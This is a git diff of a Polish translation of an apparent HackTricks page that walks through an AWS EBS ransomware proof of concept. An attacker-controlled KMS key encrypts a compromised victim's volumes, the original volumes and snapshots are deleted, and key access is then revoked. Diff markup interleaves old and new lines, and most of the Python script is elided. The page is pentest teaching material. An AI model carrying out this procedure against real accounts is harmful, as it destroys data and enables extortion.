Najpierw, z 'attacker' AWS account, utwórz customer managed key w KMS. W tym przykładzie pozwolimy AWS zarządzać danymi klucza, ale w realistycznym scenariuszu malicious actor zachowałby dane klucza poza kontrolą AWS. Zmień key policy, aby zezwolić dowolnemu AWS account Principal na użycie klucza. Dla tej key policy nazwa konta to 'AttackSim', a reguła polityki pozwalająca na pełny dostęp nazywa się 'Outside Encryption'.
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -401,7 +405,7 @@ Najpierw, z konta AWS 'attacker', utwórz customer managed key w KMS. W tym przy
|
||||
]
|
||||
}
|
||||
```
|
||||
Reguła polityki klucza wymaga włączenia następujących uprawnień, aby umożliwić jej użycie do zaszyfrowania wolumenu EBS:
|
||||
Reguła w polityce klucza musi mieć włączone następujące uprawnienia, aby można było użyć go do zaszyfrowania wolumenu EBS:
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -409,21 +413,21 @@ Reguła polityki klucza wymaga włączenia następujących uprawnień, aby umoż
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Mając teraz publicznie dostępny klucz do użycia. Możemy użyć konta 'victim', które ma uruchomione kilka instancji EC2 z dołączonymi niezszyfrowanymi wolumenami EBS. Wolumeny EBS tego konta 'victim' są celem szyfrowania; ten atak zakłada przejęcie konta AWS o wysokich uprawnieniach.
|
||||
Mając teraz publicznie dostępny klucz do użycia. Możemy wykorzystać konto 'victim', na którym uruchomione są instancje EC2 z podłączonymi niezaszyfrowanymi wolumenami EBS. Wolumeny EBS tego konta 'victim' są celem szyfrowania — ten atak zakłada kompromitację konta AWS o wysokich uprawnieniach.
|
||||
|
||||
 
|
||||
|
||||
Podobnie jak w przykładzie ransomware dla S3. Ten atak stworzy kopie dołączonych wolumenów EBS przy użyciu snapshots, użyje publicznie dostępnego klucza z konta 'attacker' do zaszyfrowania nowych wolumenów EBS, następnie odłączy oryginalne wolumeny EBS od instancji EC2 i je usunie, a na końcu usunie snapshots użyte do utworzenia nowo zaszyfrowanych wolumenów EBS. 
|
||||
Podobnie jak w przykładzie S3 ransomware. Ten atak utworzy kopie podłączonych wolumenów EBS przy użyciu snapshotów, użyje publicznie dostępnego klucza z konta 'attacker' do zaszyfrowania nowych wolumenów EBS, następnie odłączy oryginalne wolumeny EBS od instancji EC2 i je usunie, a na końcu usunie snapshoty wykorzystane do stworzenia nowych zaszyfrowanych wolumenów EBS. 
|
||||
|
||||
W efekcie w koncie pozostaną jedynie zaszyfrowane wolumeny EBS.
|
||||
|
||||
|
||||
|
||||
Warto też zauważyć, że skrypt zatrzymał instancje EC2, aby odłączyć i usunąć oryginalne wolumeny EBS. Oryginalne niezszyfrowane wolumeny zostały teraz usunięte.
|
||||
Warto też zauważyć, że skrypt zatrzymał instancje EC2, aby odłączyć i usunąć oryginalne wolumeny EBS. Oryginalne niezaszyfrowane wolumeny zniknęły teraz.
|
||||
|
||||
|
||||
|
||||
Następnie wróć do polityki klucza na koncie 'attacker' i usuń regułę polityki 'Outside Encryption' z polityki klucza.
|
||||
Następnie wróć do polityki klucza na koncie 'attacker' i usuń z niej regułę 'Outside Encryption'.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -494,15 +498,15 @@ Następnie wróć do polityki klucza na koncie 'attacker' i usuń regułę polit
|
||||
]
|
||||
}
|
||||
```
|
||||
Poczekaj chwilę, aż nowo ustawiona polityka klucza się rozpowszechni. Następnie wróć do konta 'victim' i spróbuj dołączyć jeden z nowo zaszyfrowanych woluminów EBS. Zobaczysz, że możesz załączyć wolumin.
|
||||
Poczekaj chwilę, aż nowo ustawiona polityka klucza się rozpowszechni. Następnie wróć do konta 'victim' i spróbuj podłączyć jeden z nowo zaszyfrowanych woluminów EBS. Zobaczysz, że możesz podłączyć wolumin.
|
||||
|
||||
 
|
||||
|
||||
Ale kiedy spróbujesz faktycznie ponownie uruchomić instancję EC2 z zaszyfrowanym woluminem EBS, to się nie uda i instancja przejdzie ze stanu 'pending' z powrotem do stanu 'stopped' na zawsze, ponieważ dołączonego woluminu EBS nie da się odszyfrować przy użyciu klucza — polityka klucza już na to nie pozwala.
|
||||
Ale gdy spróbujesz faktycznie uruchomić instancję EC2 z powrotem z zaszyfrowanym woluminem EBS, to po prostu się nie uda i instancja przejdzie ze stanu 'pending' z powrotem do stanu 'stopped' na zawsze, ponieważ podłączony wolumin EBS nie może zostać odszyfrowany za pomocą klucza — polityka klucza już na to nie pozwala.
|
||||
|
||||
 
|
||||
|
||||
To jest użyty skrypt python. Przyjmuje AWS creds dla konta 'victim' oraz publicznie dostępny AWS ARN klucza, który ma być użyty do szyfrowania. Skrypt wykona zaszyfrowane kopie WSZYSTKICH dostępnych woluminów EBS dołączonych do WSZYSTKICH instancji EC2 na docelowym koncie AWS, następnie zatrzyma każdą instancję EC2, odłączy oryginalne woluminy EBS, usunie je, a na końcu usunie wszystkie snapshots wykorzystane podczas procesu. To pozostawi jedynie zaszyfrowane woluminy EBS na docelowym koncie 'victim'. UŻYWAJ TEGO SKRYPTU TYLKO W ŚRODOWISKU TESTOWYM, JEST DESTRUKCYJNY I USUNIE WSZYSTKIE ORYGINALNE WOLUMINY EBS. Możesz je odzyskać używając wykorzystanego klucza KMS i przywrócić je do pierwotnego stanu za pomocą snapshots, ale chcę ci tylko uświadomić, że na końcu dnia jest to ransomware PoC.
|
||||
To skrypt python użyty w przykładzie. Przyjmuje poświadczenia AWS dla konta 'victim' oraz publicznie dostępny AWS ARN wartości klucza, który ma być użyty do szyfrowania. Skrypt tworzy zaszyfrowane kopie WSZYSTKICH dostępnych woluminów EBS podłączonych do WSZYSTKICH instancji EC2 w docelowym koncie AWS, następnie zatrzymuje każdą instancję EC2, odłącza oryginalne woluminy EBS, usuwa je, a na końcu usuwa wszystkie snapshots wykorzystane w procesie. W rezultacie w docelowym koncie 'victim' pozostaną jedynie zaszyfrowane woluminy EBS. UŻYWAJ TEGO SKRYPTU TYLKO W ŚRODOWISKU TESTOWYM — JEST DESTRUKCYJNY I USUWA WSZYSTKIE ORYGINALNE WOLUMINY EBS. Można je odzyskać używając wykorzystanego klucza KMS i przywrócić do pierwotnego stanu za pomocą snapshots, jednak chcę, żebyś był świadomy, że to ostatecznie ransomware PoC.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
@@ -619,10 +623,12 @@ delete_snapshots(ec2_client, snapshot_ids)
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
## Źródła
|
||||
## Referencje
|
||||
|
||||
- <https://www.sweet.security/blog/ecscape-understanding-iam-privilege-boundaries-in-amazon-ecs>
|
||||
- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
- [Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform repo](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening)
|
||||
- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
|
||||
- [Latacora - ECS on EC2: Pokrywanie luk we wzmacnianiu zabezpieczeń IMDS](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
- [Latacora ecs-on-ec2-gaps-in-imds-hardening repozytorium Terraform](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening)
|
||||
- [Pentest Partners – Jak przesyłać pliki w AWS za pomocą SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user